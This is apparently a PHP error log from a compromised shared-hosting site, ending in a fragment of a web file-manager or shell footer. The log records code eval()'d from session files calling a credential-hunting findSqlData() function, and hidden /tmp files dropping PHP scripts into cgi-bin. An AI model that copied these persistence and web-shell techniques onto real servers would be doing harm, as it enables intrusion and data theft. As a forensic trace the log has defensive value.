/tmp/.accepted on line 1 [22-Sep-2025 10:14:48 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_896f40ffb4538e8effa8d197a4c29c25(1) : eval()'d code on line 1 [22-Sep-2025 10:14:48 UTC] PHP Fatal error: Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, null given in /opt/alt/php81/var/lib/php/session/sess_896f40ffb4538e8effa8d197a4c29c25(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_896f40ffb4538e8effa8d197a4c29c25(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_896f40ffb4538e8effa8d197a4c29c25(1): eval() #2 /home/tokomrjk/pajang2.paussea.com/viewer.php(66): include('/opt/alt/php81/...') #3 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_896f40ffb4538e8effa8d197a4c29c25(1) : eval()'d code on line 1 [22-Sep-2025 10:14:48 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_829c263772f70c4ab619b7e1a55f7778(1) : eval()'d code on line 1 [22-Sep-2025 10:14:48 UTC] PHP Fatal error: Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, null given in /opt/alt/php81/var/lib/php/session/sess_829c263772f70c4ab619b7e1a55f7778(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_829c263772f70c4ab619b7e1a55f7778(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_829c263772f70c4ab619b7e1a55f7778(1): eval() #2 /home/tokomrjk/pajang2.paussea.com/viewer.php(66): include('/opt/alt/php81/...') #3 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_829c263772f70c4ab619b7e1a55f7778(1) : eval()'d code on line 1 [22-Sep-2025 10:14:49 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_2189e1a0075f65214449e735cf782d8a(1) : eval()'d code on line 1 [22-Sep-2025 10:14:49 UTC] PHP Fatal error: Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, null given in /opt/alt/php81/var/lib/php/session/sess_2189e1a0075f65214449e735cf782d8a(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_2189e1a0075f65214449e735cf782d8a(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_2189e1a0075f65214449e735cf782d8a(1): eval() #2 /home/tokomrjk/pajang2.paussea.com/viewer.php(66): include('/opt/alt/php81/...') #3 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_2189e1a0075f65214449e735cf782d8a(1) : eval()'d code on line 1 [26-Sep-2025 20:14:32 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_d92a8969ef1b333705ce84628a0dbf65(1) : eval()'d code on line 1 [26-Sep-2025 20:14:32 UTC] PHP Warning: Trying to access array offset on value of type null in /opt/alt/php81/var/lib/php/session/sess_d92a8969ef1b333705ce84628a0dbf65(1) : eval()'d code on line 1 [26-Sep-2025 20:14:32 UTC] PHP Fatal error: Uncaught Error: Undefined constant "mysqli_connect" in /opt/alt/php81/var/lib/php/session/sess_d92a8969ef1b333705ce84628a0dbf65(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_d92a8969ef1b333705ce84628a0dbf65(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_d92a8969ef1b333705ce84628a0dbf65(1): eval() #2 /home/tokomrjk/pajang2.paussea.com/viewer.php(66): include('/opt/alt/php81/...') #3 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_d92a8969ef1b333705ce84628a0dbf65(1) : eval()'d code on line 1 [26-Sep-2025 20:14:32 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_ca798469d38cff141a68c362a5aa9db5(1) : eval()'d code on line 1 [26-Sep-2025 20:14:32 UTC] PHP Warning: Trying to access array offset on value of type null in /opt/alt/php81/var/lib/php/session/sess_ca798469d38cff141a68c362a5aa9db5(1) : eval()'d code on line 1 [26-Sep-2025 20:14:32 UTC] PHP Fatal error: Uncaught Error: Undefined constant "mysqli_connect" in /opt/alt/php81/var/lib/php/session/sess_ca798469d38cff141a68c362a5aa9db5(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_ca798469d38cff141a68c362a5aa9db5(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_ca798469d38cff141a68c362a5aa9db5(1): eval() #2 /home/tokomrjk/pajang2.paussea.com/viewer.php(66): include('/opt/alt/php81/...') #3 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_ca798469d38cff141a68c362a5aa9db5(1) : eval()'d code on line 1 [26-Sep-2025 20:14:33 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_73185027f59136e72537aaba006ba279(1) : eval()'d code on line 1 [26-Sep-2025 20:14:33 UTC] PHP Warning: Trying to access array offset on value of type null in /opt/alt/php81/var/lib/php/session/sess_73185027f59136e72537aaba006ba279(1) : eval()'d code on line 1 [26-Sep-2025 20:14:33 UTC] PHP Fatal error: Uncaught Error: Undefined constant "mysqli_connect" in /opt/alt/php81/var/lib/php/session/sess_73185027f59136e72537aaba006ba279(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_73185027f59136e72537aaba006ba279(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_73185027f59136e72537aaba006ba279(1): eval() #2 /home/tokomrjk/pajang2.paussea.com/viewer.php(66): include('/opt/alt/php81/...') #3 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_73185027f59136e72537aaba006ba279(1) : eval()'d code on line 1 [09-Oct-2025 14:16:14 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/cgi-bin/sqlupdate.php): Failed to open stream: Disk quota exceeded in /tmp/.accept on line 1 [09-Oct-2025 14:16:17 UTC] PHP Warning: Undefined array key "VF" in /tmp/.cache on line 1 [09-Oct-2025 14:16:17 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.cache on line 1 [09-Oct-2025 14:16:18 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/cgi-bin/sqlupdate.php): Failed to open stream: Disk quota exceeded in /tmp/.rindex on line 1 [10-Oct-2025 02:15:27 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/cgi-bin/parentlinks.php): Failed to open stream: Disk quota exceeded in /tmp/.db2_convert on line 1 [10-Oct-2025 02:15:30 UTC] PHP Warning: Undefined array key "rd" in /tmp/.oauthexceptions on line 1 [10-Oct-2025 02:15:30 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.oauthexceptions on line 1 [10-Oct-2025 02:15:31 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/cgi-bin/parentlinks.php): Failed to open stream: Disk quota exceeded in /tmp/.parle_tokens on line 1 [01-Nov-2025 05:23:12 UTC] PHP Warning: Undefined array key "Cv" in /tmp/.internal on line 1 [01-Nov-2025 05:23:12 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.internal on line 1 [01-Nov-2025 05:23:36 UTC] PHP Warning: file_put_contents(/tmp/.created): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 05:23:36 UTC] PHP Warning: file_put_contents(/tmp/.created): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 05:23:36 UTC] PHP Warning: file_put_contents(/var/tmp/.created): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 05:23:36 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.created): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 05:23:47 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/cgi-bin/others.php): Failed to open stream: Disk quota exceeded in /tmp/.cache on line 1 [01-Nov-2025 05:23:57 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/cgi-bin/others.php): Failed to open stream: Disk quota exceeded in /tmp/.locked on line 1 [01-Nov-2025 11:27:22 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/cgi-bin/lib_aux.php): Failed to open stream: Disk quota exceeded in /tmp/.uconvert on line 1 [01-Nov-2025 11:27:27 UTC] PHP Warning: Undefined array key "LX" in /tmp/.center on line 1 [01-Nov-2025 11:27:27 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.center on line 1 [01-Nov-2025 11:27:31 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/cgi-bin/lib_aux.php): Failed to open stream: Disk quota exceeded in /tmp/.post on line 1 [01-Nov-2025 17:24:11 UTC] PHP Warning: file_put_contents(/tmp/.created): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:24:11 UTC] PHP Warning: file_put_contents(/tmp/.created): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:24:11 UTC] PHP Warning: file_put_contents(/var/tmp/.created): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:24:11 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.created): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:24:26 UTC] PHP Warning: file_put_contents(/tmp/.classes): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:24:26 UTC] PHP Warning: file_put_contents(/tmp/.classes): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:24:26 UTC] PHP Warning: file_put_contents(/var/tmp/.classes): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:24:26 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.classes): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:24:53 UTC] PHP Warning: file_put_contents(/tmp/.classes): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:24:53 UTC] PHP Warning: file_put_contents(/tmp/.classes): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:24:53 UTC] PHP Warning: file_put_contents(/var/tmp/.classes): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:24:53 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.classes): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:24:57 UTC] PHP Warning: file_put_contents(/tmp/.classes): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:24:57 UTC] PHP Warning: file_put_contents(/tmp/.classes): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:24:57 UTC] PHP Warning: file_put_contents(/var/tmp/.classes): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:24:57 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.classes): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:25:00 UTC] PHP Warning: file_put_contents(/tmp/.partition): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:25:00 UTC] PHP Warning: file_put_contents(/tmp/.partition): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:25:00 UTC] PHP Warning: file_put_contents(/var/tmp/.partition): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:25:00 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.partition): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 17:25:04 UTC] PHP Warning: file_put_contents(fantversion.php): Failed to open stream: Disk quota exceeded in /tmp/.dba_insertion on line 1 [02-Nov-2025 05:24:55 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/cgi-bin/rank.php): Failed to open stream: Disk quota exceeded in /tmp/.created on line 1 [02-Nov-2025 05:24:57 UTC] PHP Warning: file_put_contents(/tmp/.accepted): Failed to open stream: Disk quota exceeded in Command line code on line 1 [02-Nov-2025 05:24:57 UTC] PHP Warning: file_put_contents(/tmp/.accepted): Failed to open stream: Disk quota exceeded in Command line code on line 1 [02-Nov-2025 05:24:57 UTC] PHP Warning: file_put_contents(/var/tmp/.accepted): Failed to open stream: Disk quota exceeded in Command line code on line 1 [02-Nov-2025 05:24:57 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.accepted): Failed to open stream: Disk quota exceeded in Command line code on line 1 [02-Nov-2025 05:24:58 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/cgi-bin/rank.php): Failed to open stream: Disk quota exceeded in /tmp/.system on line 1 [02-Nov-2025 11:39:56 UTC] PHP Warning: file_put_contents(cfdg.php): Failed to open stream: Disk quota exceeded in /tmp/.requests on line 1 [02-Nov-2025 11:40:23 UTC] PHP Warning: file_put_contents(events_photo.php): Failed to open stream: Disk quota exceeded in /tmp/.partition on line 1 [03-Nov-2025 10:28:32 UTC] PHP Warning: file_put_contents(/tmp/.requests): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 10:28:32 UTC] PHP Warning: file_put_contents(/tmp/.requests): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 10:28:32 UTC] PHP Warning: file_put_contents(/var/tmp/.requests): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 10:28:32 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.requests): Failed to open stream: Disk quota exceeded in Command line code on line 1 [04-Nov-2025 04:41:33 UTC] PHP Warning: file_put_contents(/tmp/.requests): Failed to open stream: Disk quota exceeded in Command line code on line 1 [04-Nov-2025 04:41:33 UTC] PHP Warning: file_put_contents(/tmp/.requests): Failed to open stream: Disk quota exceeded in Command line code on line 1 [04-Nov-2025 04:41:33 UTC] PHP Warning: file_put_contents(/var/tmp/.requests): Failed to open stream: Disk quota exceeded in Command line code on line 1 [04-Nov-2025 04:41:33 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.requests): Failed to open stream: Disk quota exceeded in Command line code on line 1 [04-Nov-2025 11:43:35 UTC] PHP Warning: file_put_contents(estero_mod.php): Failed to open stream: Disk quota exceeded in /tmp/.parle_tokens on line 1 [06-Nov-2025 20:43:49 UTC] PHP Warning: file_put_contents(/tmp/.include): Failed to open stream: Disk quota exceeded in Command line code on line 1 [06-Nov-2025 20:43:49 UTC] PHP Warning: file_put_contents(/tmp/.include): Failed to open stream: Disk quota exceeded in Command line code on line 1 [06-Nov-2025 20:43:49 UTC] PHP Warning: file_put_contents(/var/tmp/.include): Failed to open stream: Disk quota exceeded in Command line code on line 1 [06-Nov-2025 20:43:49 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.include): Failed to open stream: Disk quota exceeded in Command line code on line 1 [06-Nov-2025 20:44:14 UTC] PHP Warning: file_put_contents(xoopscaptcha.php): Failed to open stream: Disk quota exceeded in /tmp/.rfind on line 1 [08-Nov-2025 07:53:20 UTC] PHP Warning: file_put_contents(/tmp/.system): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 07:53:20 UTC] PHP Warning: file_put_contents(/tmp/.system): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 07:53:20 UTC] PHP Warning: file_put_contents(/var/tmp/.system): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 07:53:20 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.system): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 07:54:26 UTC] PHP Warning: file_put_contents(/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 07:54:26 UTC] PHP Warning: file_put_contents(/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 07:54:26 UTC] PHP Warning: file_put_contents(/var/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 07:54:26 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 07:54:44 UTC] PHP Warning: file_put_contents(/tmp/.request): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 07:54:44 UTC] PHP Warning: file_put_contents(/tmp/.request): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 07:54:44 UTC] PHP Warning: file_put_contents(/var/tmp/.request): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 07:54:44 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.request): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 21:08:06 UTC] PHP Warning: file_put_contents(/tmp/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 21:08:06 UTC] PHP Warning: file_put_contents(/tmp/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 21:08:06 UTC] PHP Warning: file_put_contents(/var/tmp/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 21:08:06 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [09-Nov-2025 01:39:01 UTC] PHP Warning: file_put_contents(/tmp/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [09-Nov-2025 01:39:01 UTC] PHP Warning: file_put_contents(/tmp/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [09-Nov-2025 01:39:01 UTC] PHP Warning: file_put_contents(/var/tmp/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [09-Nov-2025 01:39:01 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [09-Nov-2025 01:39:20 UTC] PHP Warning: file_put_contents(/tmp/.locked): Failed to open stream: Disk quota exceeded in Command line code on line 1 [09-Nov-2025 01:39:20 UTC] PHP Warning: file_put_contents(/tmp/.locked): Failed to open stream: Disk quota exceeded in Command line code on line 1 [09-Nov-2025 01:39:20 UTC] PHP Warning: file_put_contents(/var/tmp/.locked): Failed to open stream: Disk quota exceeded in Command line code on line 1 [09-Nov-2025 01:39:20 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.locked): Failed to open stream: Disk quota exceeded in Command line code on line 1 [09-Nov-2025 01:39:28 UTC] PHP Warning: file_put_contents(/tmp/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [09-Nov-2025 01:39:28 UTC] PHP Warning: file_put_contents(/tmp/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [09-Nov-2025 01:39:28 UTC] PHP Warning: file_put_contents(/var/tmp/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [09-Nov-2025 01:39:28 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [09-Nov-2025 01:39:32 UTC] PHP Warning: Undefined array key "AP" in /tmp/.accept on line 1 [09-Nov-2025 01:39:32 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.accept on line 1 [09-Nov-2025 01:39:35 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/cgi-bin/model.php): Failed to open stream: Disk quota exceeded in /tmp/.uconvert on line 1 [09-Nov-2025 03:32:12 UTC] PHP Warning: file_put_contents(/tmp/.oauthexceptions): Failed to open stream: Disk quota exceeded in Command line code on line 1 [09-Nov-2025 03:32:12 UTC] PHP Warning: file_put_contents(/tmp/.oauthexceptions): Failed to open stream: Disk quota exceeded in Command line code on line 1 [09-Nov-2025 03:32:12 UTC] PHP Warning: file_put_contents(/var/tmp/.oauthexceptions): Failed to open stream: Disk quota exceeded in Command line code on line 1 [09-Nov-2025 03:32:12 UTC] PHP Warning: file_put_contents(/home/tokomrjk/pajang2.paussea.com/.oauthexceptions): Failed to open stream: Disk quota exceeded in Command line code on line 1
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 1.09 |
proxy
|
phpinfo
|
Settings